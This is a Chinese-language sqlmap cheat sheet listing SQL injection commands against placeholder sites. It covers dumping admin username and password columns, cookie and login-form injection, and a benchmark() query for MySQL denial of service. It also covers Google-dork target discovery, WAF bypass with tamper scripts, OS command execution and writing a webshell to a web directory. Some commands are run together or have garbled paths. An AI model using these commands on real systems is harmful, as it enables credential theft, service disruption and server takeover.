一、SQLMAP用于Access数据库注入
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
二、SQLMAP用于Cookie注入
python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2
python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T
python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T
三、SQLMAP用于mysql中DDOS攻击
python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
四、SQLMAP用于mysql注入
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C "id,user,password" --dump
五、SQLMAP中post登陆框注入
1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --formssqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"六、SQLMAP中Google搜索注入
sqlmap -g inurl:php?id=七、SQLMAP中的请求延迟
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3八、SQLMAP绕过WAF防火墙
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py
九、SQLMAP查看权限
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges
十、SQLMAP伪静态注入(1) 查找数据库
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T tablename --columns
python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T tablename -C "password" --dump十一、SQLMAP注入点执行命令与交互写shell
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfigsqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
sqlmap -r “c:
equest.txt” -p id –dbms mysql –file-dest “e:phphtdocsdvwaincinclude1.php” –file-write “f:webshell1112.php”